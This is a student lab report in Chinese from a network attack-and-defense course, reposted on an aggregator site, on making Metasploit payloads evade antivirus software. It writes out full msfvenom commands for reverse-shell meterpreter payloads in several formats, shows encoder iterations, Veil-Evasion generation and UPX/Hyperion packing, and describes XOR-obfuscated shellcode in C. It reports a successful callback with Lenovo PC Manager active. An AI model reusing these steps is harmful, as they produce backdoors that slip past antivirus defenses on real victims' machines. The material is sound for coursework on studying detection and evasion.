20222403 2024-2025-1 《网络与系统攻防技术》实验三实验报告

news/2024/10/24 20:21:23

1. 实验内容

1.1.实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
1.2问题回答
(1)杀软是如何检测出恶意代码的?
特征码检测,启发式检测,行为检测
(2)免杀是做什么?
免杀,全称为反杀毒技术(Anti-Anti-Virus),是一种能使病毒木马免于被杀毒软件查杀的技术。
(3)免杀的基本方法有哪些?
混淆:利用合法的白文件与恶意的黑文件相结合。
代码注入:利用系统的漏洞或者特定的编程技术,将恶意代码注入到正在运行的进程中。
加壳:将可执行文件进行压缩和加密,并在运行时进行解压缩和解密。

2.实验过程

任务一:正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧**

2.1.1测试编码次数对免杀效果的影响

使用x86/shikata_ga_nai作为编码器,设置不同的编码次数进行多次迭代,通过检出率观察免杀效果是否有变化。
无编码:
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en0.exe
编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en1.exe
编码十次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en10.exe
编码六十次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.26.128 LPORT=2403 -f exe > en60.exe


产生的文件:en0,en1,en10,en60

2.1.2测试不同输出格式

jar文件:msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 x> ja20222403qx.jar

php文件:msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 x> ph20222403qx.php

python文件:msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.26.128 LPORT=2403 x> py20222403qx.py

apk文件:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=2403 x> ap20222403qx.apk



2.1.3免杀效果测试

将使用msfvenom生成的文件上传到VirusTotal 和Virscan 进行测试,查看免杀效果,检出率总结与检测截图如下。
en0


en1

en10

en60

apk

jar

python

php


根据结果,多次编码的免杀效果很差,而不同的payload对免杀效果的影响较大,其中python和php文件的免杀效果是最好的。
2.1.4Veil-Evasion
(1)veil安装
安装指令
apt-get install veil-evasion

安装还没完,还需要下载其他有关依赖和软件,要先需要修改一个克隆地址
cd /usr/share/veil/config
vim setup.sh
打开文件

然后在文件中找到这一行:sudo git clone https://github.com/Veil-Framework/VeilDependencies git "${dependenciesdir}"
改为:

退出保存后输入veil,继续进行后续内容的安装

这里会安装好多软件,一路默认安装
安装好后打开veil

(2)veil使用
按照实验要求,我们选择文件免杀Evasion
use evasion

用list查看可用的payload

(3)简单C文件
生成文件:use c/meterpreter/rev_tcp.py

配置IP和端口:
set LHOST 192.168.26.128
set LPORT 2403
查看详情:options

generate生成文件,文件名自定义


检查免杀效果

(4)python文件
不同编程语言生成的文件免杀效果是不一样的,因此再次使用前面免杀效果最好的python语言测试一下
生成文件:use python/meterpreter/rev_tcp.py
配置IP和端口:
set LHOST 192.168.26.128
set LPORT 2403



检查免杀效果

与上一个简单C比起来,免杀效果确实更加优秀
2.1.5加壳
(1)压缩壳
用upx命令对文件加压缩壳
upx 2403veil.exe -o 2403v.exe


检查免杀效果

加了压缩壳没有效果
(2)加密壳
将文件2403veil.exe复制到hyperion目录下,进入hyperion所在的目录
生成加密文件:wine hyperion.exe -v2403veil.exe 2403jiami.exe


检查免杀效果

效果反而更差了
2.1.6使用C + shellcode编程
先生成一段shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=2403 -f c

将这一段buf 内容复制,然后新建一个.c文件,打开编辑内容
touch 2022qia0.c
vim 2022qiao.c

添加刚才复制的buf,并补充如下内容

保存退出,然后将.c文件进行编译
i686-w64-mingw32-g++ 2022qia0.c-0 20222403shellcode 3.exe

检查免杀效果

效果很差

任务二:通过组合应用各种技术实现恶意代码免杀

原理: c + shellcode + 异或 + 压缩壳
先生成一段 shellcode:
msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.26.128 LPORT=2403 -f c

将这一段shllcode复制到CodeBlocks中的一个.c项目,编写代码如下

运行得到结果

将输出得到的代码复制,在虚拟机再新建一个2403miansha.c文件,内容如下

编译为.exe文件

再为生成的exe文件加一层压缩壳,生成文件2403last.exe

检查免杀效果

用联想电脑管家扫描

成功实现了文件和杀软共存。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

杀毒软件:联想电脑管家
版本:v5.1.80.9032
虚拟机进入msf控制台,输入以下内容:
set payload windows/meterpreter/reverse tcp
set LHOST 192.168.26.128
set LPORT 2403
exploit开启监听

主机执行生成的文件2403last.exe,测试连接


可以看到成功监听且没有被联想电脑管家发现

3.问题及解决方案

  • 问题1:安装veil时提示找不到某文件
  • 问题1解决方案:经过请教同学,直到这个文件不会默认安装,需要从外部下载导入。
  • 问题2: 把生成的免杀测试文件放到桌面上,会被清除。
  • 问题2解决方案:关闭杀毒软件和实时保护

4学习感悟

任何实验都不是一下子就能做出来的,要有耐心,遇到问题时不要慌张,多向同学寻找解决方法,也可以在网络上寻找相关问题的解决方式。比如再安装veil时,我先根据某一个同学的安装方式进行安装,本以为没有问题,结果到最后报错,但是报错和他不同,直到后来看到另一个同学的实验报告,看到出现的问题相同,我才终于知道自己为什么没有安装好,原来要从外面下载后导入。就是这么一个小问题困了我4个小时!遇到困难要多找人咨询才能解决自己的问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/75604.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Camunda中的Execution listeners和Task listeners

在Camunda中大多数节点元素都可以设置执行监听器(Execution listeners),例如事件、顺序流、用户任务、服务任务和网关。其中用户任务除了可以设置执行监听器,还可以设置独有的用户任务监听器,相比于执行监听器,用户任务监听器可以设置更加细粒度的事件类型。 下面针对执行…

AMD Ryzen 5700X黑苹果运行Docker和Virtualization(虚拟化)

最近把我的AMD Ryzen黑苹果系统升级到Sequoia 15.01 发现virtualbox不能用了,遂重新分区又安装了一个Sonoma 14.7AMD Ryzen Run Virtualization展示 Virtualization Limit系统要求: BigSur <= 当前运行系统版本 <= Sonoma 虚拟化软件: virtualbox 6.1.50 安全要求:关…

GISBox对比CesiumLab,哪款GIS工具箱更适合你?

在地理信息系统(GIS)领域,越来越多的用户开始关注GIS工具箱的选择,其中GISBox和CesiumLab是两款备受推崇的产品。那么,哪一款更适合你的需求呢?本文将从功能、使用体验和应用场景等方面,对GISBox和CesiumLab进行详细对比,帮助你做出更明智的选择。 GISBox:功能强大,简…

一,超级详细的ClickHouse安装部署文档(RPM版安装),新手小白一看就能学会!!!

ClickHouse安装部署博客笔记(RPM版) 前言 ClickHouse是一个高性能的列式数据库,专为在线分析处理(OLAP)而设计。它能够实时生成分析数据报告,并支持对大数据进行快速的查询。本文将带你一步步完成ClickHouse的单机安装部署,确保你能够顺利上手这个强大的数据库系统。 第…

STM32配置HID设备时主机识别不到力反馈的解决办法

这个问题困扰我快一个星期了,我仔仔细细阅读了Device Class Definition for Physical Interface Devices (PID) Version 1.0和HID Usage Tables FOR Universal Serial Bus (USB)。 都没有找到识别不到力反馈的原因,按理说配置完报告描述符就能显示力反馈了,但是我这边死活识…

VSCode Java环境配置

JDK 部分 1. 下载 java jdk jdk23下载地址 windows 选择 Windows / x64 zip 文件 2. 解压 将 zip 文件移动到你想要的路径下并解压,如: E:\openjdk-23.0.1_windows-x64_bin 解压后复制 bin 文件路径,如: E:\openjdk-23.0.1_windows-x64_bin\jdk-23.0.1\bin 3. 配置环境变…

第8课 项目管理工具禅道

一、禅道的介绍 (1)定义禅道是一个项目管理工具,也是一个bug管理工具,还是一个用例管理工具。 (2)作用:为了解决众多企业在管理中出现混乱,无序的现象,开发出来 (3)来源:禅道属易软天创公司 (4 )禅道是集于产品管理,项目管理,测试管理于一身,同时包含事务管理…

支付通道网络(PCN)研究

背景 为了缓解主链吞吐量和交易费用的弊端,支付通道网络的技术被提出。交易的双方节点可以通过智能合约搭建一个支付通道,双方各锁定一定数量的初始资金,进行无限次的链下交易,这些交易不会被发布在区块链上,直到通道关闭,才会最终提交到链上。 PCN的问题多跳支付依赖于中…